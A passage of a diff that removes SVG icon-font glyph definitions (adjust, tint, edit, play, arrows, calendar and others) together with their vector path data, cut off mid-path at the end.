-d="M768 896q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1024 896q0 -109 -33 -179l-364 -774q-16 -33 -47.5 -52t-67.5 -19t-67.5 19t-46.5 52l-365 774q-33 70 -33 179q0 212 150 362t362 150t362 -150t150 -362z" />
-    <glyph glyph-name="adjust" unicode="&#xf042;" 
-d="M768 96v1088q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="tint" unicode="&#xf043;" horiz-adv-x="1024" 
-d="M512 384q0 36 -20 69q-1 1 -15.5 22.5t-25.5 38t-25 44t-21 50.5q-4 16 -21 16t-21 -16q-7 -23 -21 -50.5t-25 -44t-25.5 -38t-15.5 -22.5q-20 -33 -20 -69q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 512q0 -212 -150 -362t-362 -150t-362 150t-150 362
-q0 145 81 275q6 9 62.5 90.5t101 151t99.5 178t83 201.5q9 30 34 47t51 17t51.5 -17t33.5 -47q28 -93 83 -201.5t99.5 -178t101 -151t62.5 -90.5q81 -127 81 -275z" />
-    <glyph glyph-name="edit" unicode="&#xf044;" horiz-adv-x="1792" 
-d="M888 352l116 116l-152 152l-116 -116v-56h96v-96h56zM1328 1072q-16 16 -33 -1l-350 -350q-17 -17 -1 -33t33 1l350 350q17 17 1 33zM1408 478v-190q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
-q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-14 -14 -32 -8q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v126q0 13 9 22l64 64q15 15 35 7t20 -29zM1312 1216l288 -288l-672 -672h-288v288zM1756 1084l-92 -92
-l-288 288l92 92q28 28 68 28t68 -28l152 -152q28 -28 28 -68t-28 -68z" />
-    <glyph glyph-name="share" unicode="&#xf045;" horiz-adv-x="1664" 
-d="M1408 547v-259q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h255v0q13 0 22.5 -9.5t9.5 -22.5q0 -27 -26 -32q-77 -26 -133 -60q-10 -4 -16 -4h-112q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832
-q66 0 113 47t47 113v214q0 19 18 29q28 13 54 37q16 16 35 8q21 -9 21 -29zM1645 1043l-384 -384q-18 -19 -45 -19q-12 0 -25 5q-39 17 -39 59v192h-160q-323 0 -438 -131q-119 -137 -74 -473q3 -23 -20 -34q-8 -2 -12 -2q-16 0 -26 13q-10 14 -21 31t-39.5 68.5t-49.5 99.5
-t-38.5 114t-17.5 122q0 49 3.5 91t14 90t28 88t47 81.5t68.5 74t94.5 61.5t124.5 48.5t159.5 30.5t196.5 11h160v192q0 42 39 59q13 5 25 5q26 0 45 -19l384 -384q19 -19 19 -45t-19 -45z" />
-    <glyph glyph-name="check" unicode="&#xf046;" horiz-adv-x="1664" 
-d="M1408 606v-318q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-10 -10 -23 -10q-3 0 -9 2q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832
-q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v254q0 13 9 22l64 64q10 10 23 10q6 0 12 -3q20 -8 20 -29zM1639 1095l-814 -814q-24 -24 -57 -24t-57 24l-430 430q-24 24 -24 57t24 57l110 110q24 24 57 24t57 -24l263 -263l647 647q24 24 57 24t57 -24l110 -110
-q24 -24 24 -57t-24 -57z" />
-    <glyph glyph-name="move" unicode="&#xf047;" horiz-adv-x="1792" 
-d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-384v-384h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v384h-384v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45
-t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h384v384h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45t-19 -45t-45 -19h-128v-384h384v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
-    <glyph glyph-name="step_backward" unicode="&#xf048;" horiz-adv-x="1024" 
-d="M979 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19z" />
-    <glyph glyph-name="fast_backward" unicode="&#xf049;" horiz-adv-x="1792" 
-d="M1747 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19l710 710
-q19 19 32 13t13 -32v-710q4 10 13 19z" />
-    <glyph glyph-name="backward" unicode="&#xf04a;" horiz-adv-x="1664" 
-d="M1619 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-19 19 -19 45t19 45l710 710q19 19 32 13t13 -32v-710q4 10 13 19z" />
-    <glyph glyph-name="play" unicode="&#xf04b;" horiz-adv-x="1408" 
-d="M1384 609l-1328 -738q-23 -13 -39.5 -3t-16.5 36v1472q0 26 16.5 36t39.5 -3l1328 -738q23 -13 23 -31t-23 -31z" />
-    <glyph glyph-name="pause" unicode="&#xf04c;" 
-d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45zM640 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="stop" unicode="&#xf04d;" 
-d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="forward" unicode="&#xf04e;" horiz-adv-x="1664" 
-d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q19 -19 19 -45t-19 -45l-710 -710q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
-    <glyph glyph-name="fast_forward" unicode="&#xf050;" horiz-adv-x="1792" 
-d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19l-710 -710
-q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
-    <glyph glyph-name="step_forward" unicode="&#xf051;" horiz-adv-x="1024" 
-d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19z" />
-    <glyph glyph-name="eject" unicode="&#xf052;" horiz-adv-x="1538" 
-d="M14 557l710 710q19 19 45 19t45 -19l710 -710q19 -19 13 -32t-32 -13h-1472q-26 0 -32 13t13 32zM1473 0h-1408q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1408q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19z" />
-    <glyph glyph-name="chevron_left" unicode="&#xf053;" horiz-adv-x="1280" 
-d="M1171 1235l-531 -531l531 -531q19 -19 19 -45t-19 -45l-166 -166q-19 -19 -45 -19t-45 19l-742 742q-19 19 -19 45t19 45l742 742q19 19 45 19t45 -19l166 -166q19 -19 19 -45t-19 -45z" />
-    <glyph glyph-name="chevron_right" unicode="&#xf054;" horiz-adv-x="1280" 
-d="M1107 659l-742 -742q-19 -19 -45 -19t-45 19l-166 166q-19 19 -19 45t19 45l531 531l-531 531q-19 19 -19 45t19 45l166 166q19 19 45 19t45 -19l742 -742q19 -19 19 -45t-19 -45z" />
-    <glyph glyph-name="plus_sign" unicode="&#xf055;" 
-d="M1216 576v128q0 26 -19 45t-45 19h-256v256q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-256h-256q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h256v-256q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v256h256q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5
-t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="minus_sign" unicode="&#xf056;" 
-d="M1216 576v128q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
-t103 -385.5z" />
-    <glyph glyph-name="remove_sign" unicode="&#xf057;" 
-d="M1149 414q0 26 -19 45l-181 181l181 181q19 19 19 45q0 27 -19 46l-90 90q-19 19 -46 19q-26 0 -45 -19l-181 -181l-181 181q-19 19 -45 19q-27 0 -46 -19l-90 -90q-19 -19 -19 -46q0 -26 19 -45l181 -181l-181 -181q-19 -19 -19 -45q0 -27 19 -46l90 -90q19 -19 46 -19
-q26 0 45 19l181 181l181 -181q19 -19 45 -19q27 0 46 19l90 90q19 19 19 46zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="ok_sign" unicode="&#xf058;" 
-d="M1284 802q0 28 -18 46l-91 90q-19 19 -45 19t-45 -19l-408 -407l-226 226q-19 19 -45 19t-45 -19l-91 -90q-18 -18 -18 -46q0 -27 18 -45l362 -362q19 -19 45 -19q27 0 46 19l543 543q18 18 18 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
-t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="question_sign" unicode="&#xf059;" 
-d="M896 160v192q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1152 832q0 88 -55.5 163t-138.5 116t-170 41q-243 0 -371 -213q-15 -24 8 -42l132 -100q7 -6 19 -6q16 0 25 12q53 68 86 92q34 24 86 24q48 0 85.5 -26t37.5 -59
-q0 -38 -20 -61t-68 -45q-63 -28 -115.5 -86.5t-52.5 -125.5v-36q0 -14 9 -23t23 -9h192q14 0 23 9t9 23q0 19 21.5 49.5t54.5 49.5q32 18 49 28.5t46 35t44.5 48t28 60.5t12.5 81zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
-t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="info_sign" unicode="&#xf05a;" 
-d="M1024 160v160q0 14 -9 23t-23 9h-96v512q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h96v-320h-96q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h448q14 0 23 9t9 23zM896 1056v160q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23
-t23 -9h192q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="screenshot" unicode="&#xf05b;" 
-d="M1197 512h-109q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h109q-32 108 -112.5 188.5t-188.5 112.5v-109q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v109q-108 -32 -188.5 -112.5t-112.5 -188.5h109q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-109
-q32 -108 112.5 -188.5t188.5 -112.5v109q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-109q108 32 188.5 112.5t112.5 188.5zM1536 704v-128q0 -26 -19 -45t-45 -19h-143q-37 -161 -154.5 -278.5t-278.5 -154.5v-143q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v143
-q-161 37 -278.5 154.5t-154.5 278.5h-143q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h143q37 161 154.5 278.5t278.5 154.5v143q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-143q161 -37 278.5 -154.5t154.5 -278.5h143q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="remove_circle" unicode="&#xf05c;" 
-d="M1097 457l-146 -146q-10 -10 -23 -10t-23 10l-137 137l-137 -137q-10 -10 -23 -10t-23 10l-146 146q-10 10 -10 23t10 23l137 137l-137 137q-10 10 -10 23t10 23l146 146q10 10 23 10t23 -10l137 -137l137 137q10 10 23 10t23 -10l146 -146q10 -10 10 -23t-10 -23
-l-137 -137l137 -137q10 -10 10 -23t-10 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5
-t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="ok_circle" unicode="&#xf05d;" 
-d="M1171 723l-422 -422q-19 -19 -45 -19t-45 19l-294 294q-19 19 -19 45t19 45l102 102q19 19 45 19t45 -19l147 -147l275 275q19 19 45 19t45 -19l102 -102q19 -19 19 -45t-19 -45zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198
-t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
-    <glyph glyph-name="ban_circle" unicode="&#xf05e;" 
-d="M1312 643q0 161 -87 295l-754 -753q137 -89 297 -89q111 0 211.5 43.5t173.5 116.5t116 174.5t43 212.5zM313 344l755 754q-135 91 -300 91q-148 0 -273 -73t-198 -199t-73 -274q0 -162 89 -299zM1536 643q0 -157 -61 -300t-163.5 -246t-245 -164t-298.5 -61t-298.5 61
-t-245 164t-163.5 246t-61 300t61 299.5t163.5 245.5t245 164t298.5 61t298.5 -61t245 -164t163.5 -245.5t61 -299.5z" />
-    <glyph glyph-name="arrow_left" unicode="&#xf060;" 
-d="M1536 640v-128q0 -53 -32.5 -90.5t-84.5 -37.5h-704l293 -294q38 -36 38 -90t-38 -90l-75 -76q-37 -37 -90 -37q-52 0 -91 37l-651 652q-37 37 -37 90q0 52 37 91l651 650q38 38 91 38q52 0 90 -38l75 -74q38 -38 38 -91t-38 -91l-293 -293h704q52 0 84.5 -37.5
-t32.5 -90.5z" />
-    <glyph glyph-name="arrow_right" unicode="&#xf061;" 
-d="M1472 576q0 -54 -37 -91l-651 -651q-39 -37 -91 -37q-51 0 -90 37l-75 75q-38 38 -38 91t38 91l293 293h-704q-52 0 -84.5 37.5t-32.5 90.5v128q0 53 32.5 90.5t84.5 37.5h704l-293 294q-38 36 -38 90t38 90l75 75q38 38 90 38q53 0 91 -38l651 -651q37 -35 37 -90z" />
-    <glyph glyph-name="arrow_up" unicode="&#xf062;" horiz-adv-x="1664" 
-d="M1611 565q0 -51 -37 -90l-75 -75q-38 -38 -91 -38q-54 0 -90 38l-294 293v-704q0 -52 -37.5 -84.5t-90.5 -32.5h-128q-53 0 -90.5 32.5t-37.5 84.5v704l-294 -293q-36 -38 -90 -38t-90 38l-75 75q-38 38 -38 90q0 53 38 91l651 651q35 37 90 37q54 0 91 -37l651 -651
-q37 -39 37 -91z" />
-    <glyph glyph-name="arrow_down" unicode="&#xf063;" horiz-adv-x="1664" 
-d="M1611 704q0 -53 -37 -90l-651 -652q-39 -37 -91 -37q-53 0 -90 37l-651 652q-38 36 -38 90q0 53 38 91l74 75q39 37 91 37q53 0 90 -37l294 -294v704q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-704l294 294q37 37 90 37q52 0 91 -37l75 -75q37 -39 37 -91z" />
-    <glyph glyph-name="share_alt" unicode="&#xf064;" horiz-adv-x="1792" 
-d="M1792 896q0 -26 -19 -45l-512 -512q-19 -19 -45 -19t-45 19t-19 45v256h-224q-98 0 -175.5 -6t-154 -21.5t-133 -42.5t-105.5 -69.5t-80 -101t-48.5 -138.5t-17.5 -181q0 -55 5 -123q0 -6 2.5 -23.5t2.5 -26.5q0 -15 -8.5 -25t-23.5 -10q-16 0 -28 17q-7 9 -13 22
-t-13.5 30t-10.5 24q-127 285 -127 451q0 199 53 333q162 403 875 403h224v256q0 26 19 45t45 19t45 -19l512 -512q19 -19 19 -45z" />
-    <glyph glyph-name="resize_full" unicode="&#xf065;" 
-d="M755 480q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23zM1536 1344v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332
-q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45z" />
-    <glyph glyph-name="resize_small" unicode="&#xf066;" 
-d="M768 576v-448q0 -26 -19 -45t-45 -19t-45 19l-144 144l-332 -332q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l332 332l-144 144q-19 19 -19 45t19 45t45 19h448q26 0 45 -19t19 -45zM1523 1248q0 -13 -10 -23l-332 -332l144 -144q19 -19 19 -45t-19 -45
-t-45 -19h-448q-26 0 -45 19t-19 45v448q0 26 19 45t45 19t45 -19l144 -144l332 332q10 10 23 10t23 -10l114 -114q10 -10 10 -23z" />
-    <glyph glyph-name="plus" unicode="&#xf067;" horiz-adv-x="1408" 
-d="M1408 800v-192q0 -40 -28 -68t-68 -28h-416v-416q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v416h-416q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h416v416q0 40 28 68t68 28h192q40 0 68 -28t28 -68v-416h416q40 0 68 -28t28 -68z" />
-    <glyph glyph-name="minus" unicode="&#xf068;" horiz-adv-x="1408" 
-d="M1408 800v-192q0 -40 -28 -68t-68 -28h-1216q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h1216q40 0 68 -28t28 -68z" />
-    <glyph glyph-name="asterisk" unicode="&#xf069;" horiz-adv-x="1664" 
-d="M1482 486q46 -26 59.5 -77.5t-12.5 -97.5l-64 -110q-26 -46 -77.5 -59.5t-97.5 12.5l-266 153v-307q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v307l-266 -153q-46 -26 -97.5 -12.5t-77.5 59.5l-64 110q-26 46 -12.5 97.5t59.5 77.5l266 154l-266 154
-q-46 26 -59.5 77.5t12.5 97.5l64 110q26 46 77.5 59.5t97.5 -12.5l266 -153v307q0 52 38 90t90 38h128q52 0 90 -38t38 -90v-307l266 153q46 26 97.5 12.5t77.5 -59.5l64 -110q26 -46 12.5 -97.5t-59.5 -77.5l-266 -154z" />
-    <glyph glyph-name="exclamation_sign" unicode="&#xf06a;" 
-d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM896 161v190q0 14 -9 23.5t-22 9.5h-192q-13 0 -23 -10t-10 -23v-190q0 -13 10 -23t23 -10h192
-q13 0 22 9.5t9 23.5zM894 505l18 621q0 12 -10 18q-10 8 -24 8h-220q-14 0 -24 -8q-10 -6 -10 -18l17 -621q0 -10 10 -17.5t24 -7.5h185q14 0 23.5 7.5t10.5 17.5z" />
-    <glyph glyph-name="gift" unicode="&#xf06b;" 
-d="M928 180v56v468v192h-320v-192v-468v-56q0 -25 18 -38.5t46 -13.5h192q28 0 46 13.5t18 38.5zM472 1024h195l-126 161q-26 31 -69 31q-40 0 -68 -28t-28 -68t28 -68t68 -28zM1160 1120q0 40 -28 68t-68 28q-43 0 -69 -31l-125 -161h194q40 0 68 28t28 68zM1536 864v-320
-q0 -14 -9 -23t-23 -9h-96v-416q0 -40 -28 -68t-68 -28h-1088q-40 0 -68 28t-28 68v416h-96q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h440q-93 0 -158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5q107 0 168 -77l128 -165l128 165q61 77 168 77q93 0 158.5 -65.5t65.5 -158.5
-t-65.5 -158.5t-158.5 -65.5h440q14 0 23 -9t9 -23z" />
-    <glyph glyph-name="leaf" unicode="&#xf06c;" horiz-adv-x="1792" 
-d="M1280 832q0 26 -19 45t-45 19q-172 0 -318 -49.5t-259.5 -134t-235.5 -219.5q-19 -21 -19 -45q0 -26 19 -45t45 -19q24 0 45 19q27 24 74 71t67 66q137 124 268.5 176t313.5 52q26 0 45 19t19 45zM1792 1030q0 -95 -20 -193q-46 -224 -184.5 -383t-357.5 -268
-q-214 -108 -438 -108q-148 0 -286 47q-15 5 -88 42t-96 37q-16 0 -39.5 -32t-45 -70t-52.5 -70t-60 -32q-43 0 -63.5 17.5t-45.5 59.5q-2 4 -6 11t-5.5 10t-3 9.5t-1.5 13.5q0 35 31 73.5t68 65.5t68 56t31 48q0 4 -14 38t-16 44q-9 51 -9 104q0 115 43.5 220t119 184.5
-t170.5 139t204 95.5q55 18 145 25.5t179.5 9t178.5 6t163.5 24t113.5 56.5l29.5 29.5t29.5 28t27 20t36.5 16t43.5 4.5q39 0 70.5 -46t47.5 -112t24 -124t8 -96z" />
-    <glyph glyph-name="fire" unicode="&#xf06d;" horiz-adv-x="1408" 
-d="M1408 -160v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1152 896q0 -78 -24.5 -144t-64 -112.5t-87.5 -88t-96 -77.5t-87.5 -72t-64 -81.5t-24.5 -96.5q0 -96 67 -224l-4 1l1 -1
-q-90 41 -160 83t-138.5 100t-113.5 122.5t-72.5 150.5t-27.5 184q0 78 24.5 144t64 112.5t87.5 88t96 77.5t87.5 72t64 81.5t24.5 96.5q0 94 -66 224l3 -1l-1 1q90 -41 160 -83t138.5 -100t113.5 -122.5t72.5 -150.5t27.5 -184z" />
-    <glyph glyph-name="eye_open" unicode="&#xf06e;" horiz-adv-x="1792" 
-d="M1664 576q-152 236 -381 353q61 -104 61 -225q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 121 61 225q-229 -117 -381 -353q133 -205 333.5 -326.5t434.5 -121.5t434.5 121.5t333.5 326.5zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5
-t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1792 576q0 -34 -20 -69q-140 -230 -376.5 -368.5t-499.5 -138.5t-499.5 139t-376.5 368q-20 35 -20 69t20 69q140 229 376.5 368t499.5 139t499.5 -139t376.5 -368q20 -35 20 -69z" />
-    <glyph glyph-name="eye_close" unicode="&#xf070;" horiz-adv-x="1792" 
-d="M555 201l78 141q-87 63 -136 159t-49 203q0 121 61 225q-229 -117 -381 -353q167 -258 427 -375zM944 960q0 20 -14 34t-34 14q-125 0 -214.5 -89.5t-89.5 -214.5q0 -20 14 -34t34 -14t34 14t14 34q0 86 61 147t147 61q20 0 34 14t14 34zM1307 1151q0 -7 -1 -9
-q-106 -189 -316 -567t-315 -566l-49 -89q-10 -16 -28 -16q-12 0 -134 70q-16 10 -16 28q0 12 44 87q-143 65 -263.5 173t-208.5 245q-20 31 -20 69t20 69q153 235 380 371t496 136q89 0 180 -17l54 97q10 16 28 16q5 0 18 -6t31 -15.5t33 -18.5t31.5 -18.5t19.5 -11.5
-q16 -10 16 -27zM1344 704q0 -139 -79 -253.5t-209 -164.5l280 502q8 -45 8 -84zM1792 576q0 -35 -20 -69q-39 -64 -109 -145q-150 -172 -347.5 -267t-419.5 -95l74 132q212 18 392.5 137t301.5 307q-115 179 -282 294l63 112q95 -64 182.5 -153t144.5 -184q20 -34 20 -69z
-" />
-    <glyph glyph-name="warning_sign" unicode="&#xf071;" horiz-adv-x="1792" 
-d="M1024 161v190q0 14 -9.5 23.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -23.5v-190q0 -14 9.5 -23.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 23.5zM1022 535l18 459q0 12 -10 19q-13 11 -24 11h-220q-11 0 -24 -11q-10 -7 -10 -21l17 -457q0 -10 10 -16.5t24 -6.5h185
-q14 0 23.5 6.5t10.5 16.5zM1008 1469l768 -1408q35 -63 -2 -126q-17 -29 -46.5 -46t-63.5 -17h-1536q-34 0 -63.5 17t-46.5 46q-37 63 -2 126l768 1408q17 31 47 49t65 18t65 -18t47 -49z" />
-    <glyph glyph-name="plane" unicode="&#xf072;" horiz-adv-x="1408" 
-d="M1376 1376q44 -52 12 -148t-108 -172l-161 -161l160 -696q5 -19 -12 -33l-128 -96q-7 -6 -19 -6q-4 0 -7 1q-15 3 -21 16l-279 508l-259 -259l53 -194q5 -17 -8 -31l-96 -96q-9 -9 -23 -9h-2q-15 2 -24 13l-189 252l-252 189q-11 7 -13 23q-1 13 9 25l96 97q9 9 23 9
-q6 0 8 -1l194 -53l259 259l-508 279q-14 8 -17 24q-2 16 9 27l128 128q14 13 30 8l665 -159l160 160q76 76 172 108t148 -12z" />
-    <glyph glyph-name="calendar" unicode="&#xf073;" horiz-adv-x="1664" 
-d="M128 -128h288v288h-288v-288zM480 -128h320v288h-320v-288zM128 224h288v320h-288v-320zM480 224h320v320h-320v-320zM128 608h288v288h-288v-288zM864 -128h320v288h-320v-288zM480 608h320v288h-320v-288zM1248 -128h288v288h-288v-288zM864 224h320v320h-320v-320z
-M512 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1248 224h288v320h-288v-320zM864 608h320v288h-320v-288zM1248 608h288v288h-288v-288zM1280 1088v288q0 13 -9.5 22.5t-22.5 9.5h-64
-q-13 0 -22.5 -9.5t-9.5 -22.5v-288q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47
-h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
-    <glyph glyph-name="random" unicode="&#xf074;" horiz-adv-x="1792" 
-d="M666 1055q-60 -92 -137 -273q-22 45 -37 72.5t-40.5 63.5t-51 56.5t-63 35t-81.5 14.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q250 0 410 -225zM1792 256q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192q-32 0 -85 -0.5t-81 -1t-73 1
-t-71 5t-64 10.5t-63 18.5t-58 28.5t-59 40t-55 53.5t-56 69.5q59 93 136 273q22 -45 37 -72.5t40.5 -63.5t51 -56.5t63 -35t81.5 -14.5h256v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1792 1152q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5
-v192h-256q-48 0 -87 -15t-69 -45t-51 -61.5t-45 -77.5q-32 -62 -78 -171q-29 -66 -49.5 -111t-54 -105t-64 -100t-74 -83t-90 -68.5t-106.5 -42t-128 -16.5h-224q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h224q48 0 87 15t69 45t51 61.5t45 77.5q32 62 78 171q29 66 49.5 111
